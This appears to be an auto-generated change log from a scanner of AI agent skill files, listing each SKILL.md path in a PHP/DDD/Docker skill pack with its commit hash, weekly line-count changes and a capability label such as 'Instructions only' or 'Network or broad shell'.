7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/cqrs-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-access-control/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-action/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-adapter/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-aggregate/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-anti-corruption-layer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-api-versioning/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-bridge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-builder/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-bulkhead/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-cache-aside/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-chain-of-responsibility/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-circuit-breaker/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-command/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-composite/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-correlation-context/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-dead-letter-queue/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-decorator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-deploy-strategy/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-deptrac-config/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-di-container/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-distributed-lock/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-docker-compose-dev/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-docker-compose-production/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-docker-entrypoint/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-docker-env-template/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-docker-healthcheck/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-docker-makefile/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-docker-nginx-config/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-docker-php-config/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-docker-supervisor-config/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-dockerfile-ci/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-dockerfile-dev/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-dockerfile-production/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-dockerignore/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-domain-event/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-domain-service/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-dto/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-entity/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-event-store/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-facade/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-factory/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-feature-flags/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-flyweight/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-github-actions/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-gitlab-ci/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-health-check/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-idempotency-handler/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-idempotent-consumer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-integration-test/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-iterator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-mediator/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-memento/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-message-broker-adapter/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-metrics-collector/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-mock-repository/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-null-object/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-object-pool/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-outbox-pattern/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-phpstan-config/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-policy/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-prototype/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-proxy/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-psalm-config/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-psr11-container/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-psr13-link/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-psr14-event-dispatcher/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-psr15-middleware/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-psr16-simple-cache/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-psr17-http-factory/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-psr18-http-client/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-psr20-clock/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-psr3-logger/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-psr6-cache/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-psr7-http-message/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-query/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-rate-limiter/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-read-model/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-read-write-proxy/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-rector-config/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-repository/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-responder/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-retry-pattern/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-saga-pattern/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-snapshot/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-specification/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-state/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-strategy/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-structured-logger/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-template-method/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-test-builder/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-test-double/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-timeout/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-unit-of-work/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-unit-test/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-use-case/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-value-object/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/create-visitor/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/ddd-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/deployment-knowledge/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Network or broad shell → After Network or broad shell
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → 7e1fea8899b7
No earlier version was observed for comparison.
skills/detect-architecture-pattern/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Instructions only → After Instructions only
7e1fea8899b7 → 7e1fea8899b7
Week of Oct 26, 2026 · Line counts unavailable
